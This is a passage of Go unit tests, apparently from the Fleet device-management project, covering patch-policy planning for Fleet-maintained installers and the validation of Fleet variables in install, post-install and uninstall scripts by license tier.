new(true)), fmaInstaller, nil) require.ErrorContains(t, err, `"patch" must be true`) }) // While patch_when_closed is on, the user pre-install query is managed and can't be edited. t.Run("rejects pre-install edit while managed", func(t *testing.T) { p := payload(nil, nil) p.PreInstallQuery = new("SELECT changed;") _, _, err := planPatchPolicy(p, fmaInstaller, &fleet.PatchPolicyData{ID: 9, PatchWhenClosed: true}) require.ErrorContains(t, err, "managed by Fleet") }) // A pre-install edit on a non-FMA package is never managed; nothing to plan. t.Run("allows pre-install edit on non-FMA package", func(t *testing.T) { p := payload(nil, nil) p.PreInstallQuery = new("SELECT changed;") patchFlag, _, err := planPatchPolicy(p, nonFMAInstaller, &fleet.PatchPolicyData{ID: 9, PatchWhenClosed: true}) require.NoError(t, err) assert.False(t, patchFlag) }) // patch:true with no existing policy plans a create with patch_when_closed on. t.Run("creates when no policy exists", func(t *testing.T) { patchFlag, patchWhenClosedFlag, err := planPatchPolicy(payload(new(true), new(true)), fmaInstaller, nil) require.NoError(t, err) assert.True(t, patchFlag) assert.True(t, patchWhenClosedFlag) }) // patch:true with patch_when_closed omitted defaults a new policy to "only when closed". t.Run("new policy defaults to patch_when_closed", func(t *testing.T) { _, patchWhenClosedFlag, err := planPatchPolicy(payload(new(true), nil), fmaInstaller, nil) require.NoError(t, err) assert.True(t, patchWhenClosedFlag) }) // patch:false disables the existing patch policy. t.Run("disables when patch off", func(t *testing.T) { patchFlag, _, err := planPatchPolicy(payload(new(false), nil), fmaInstaller, &fleet.PatchPolicyData{ID: 9}) require.NoError(t, err) assert.False(t, patchFlag) }) // Toggling patch_when_closed on an existing policy keeps patch on and flips the value. t.Run("updates patch_when_closed on existing policy", func(t *testing.T) { patchFlag, patchWhenClosedFlag, err := planPatchPolicy(payload(nil, new(true)), fmaInstaller, &fleet.PatchPolicyData{ID: 9, PatchWhenClosed: false}) require.NoError(t, err) assert.True(t, patchFlag) assert.True(t, patchWhenClosedFlag) }) // A pre-install edit is allowed when the title's patch policy has patch_when_closed off. t.Run("pre-install edit allowed when patch_when_closed is off", func(t *testing.T) { p := payload(nil, nil) p.PreInstallQuery = new("SELECT changed;") _, patchWhenClosedFlag, err := planPatchPolicy(p, fmaInstaller, &fleet.PatchPolicyData{ID: 9, PatchWhenClosed: false}) require.NoError(t, err) assert.False(t, patchWhenClosedFlag) }) } func TestValidateFleetVariablesOnInstallerScripts(t *testing.T) { premiumCtx := license.NewContext(context.Background(), &fleet.LicenseInfo{Tier: fleet.TierPremium}) freeCtx := license.NewContext(context.Background(), &fleet.LicenseInfo{Tier: fleet.TierFree}) good := "echo $FLEET_VAR_HOST_UUID and ${FLEET_VAR_HOST_END_USER_IDP_USERNAME}" bad := "echo $FLEET_VAR_NONEXISTENT" plain := "echo hello" t.Run("no variables passes on both tiers", func(t *testing.T) { for _, ctx := range []context.Context{premiumCtx, freeCtx} { require.NoError(t, validateFleetVariablesOnInstallerScripts(ctx, &plain, nil, &plain)) } }) t.Run("supported variables pass on premium", func(t *testing.T) { require.NoError(t, validateFleetVariablesOnInstallerScripts(premiumCtx, &good, &good, &good)) }) t.Run("unsupported variable names the script", func(t *testing.T) { err := validateFleetVariablesOnInstallerScripts(premiumCtx, &plain, &bad, nil) require.ErrorContains(t, err, "post-install script") require.ErrorContains(t, err, "Fleet variable $FLEET_VAR_NONEXISTENT is not supported in scripts.") err = validateFleetVariablesOnInstallerScripts(premiumCtx, &bad, nil, &bad) var iae *fleet.InvalidArgumentError require.ErrorAs(t, err, &iae) invalid := iae.Invalid() require.Len(t, invalid, 2) require.Equal(t, "install script", invalid[0]["name"]) require.Equal(t, "uninstall script", invalid[1]["name"]) }) t.Run("any variable on free returns license error", func(t *testing.T) { err := validateFleetVariablesOnInstallerScripts(freeCtx, &plain, nil, &good) require.ErrorIs(t, err, fleet.ErrMissingLicense) }) }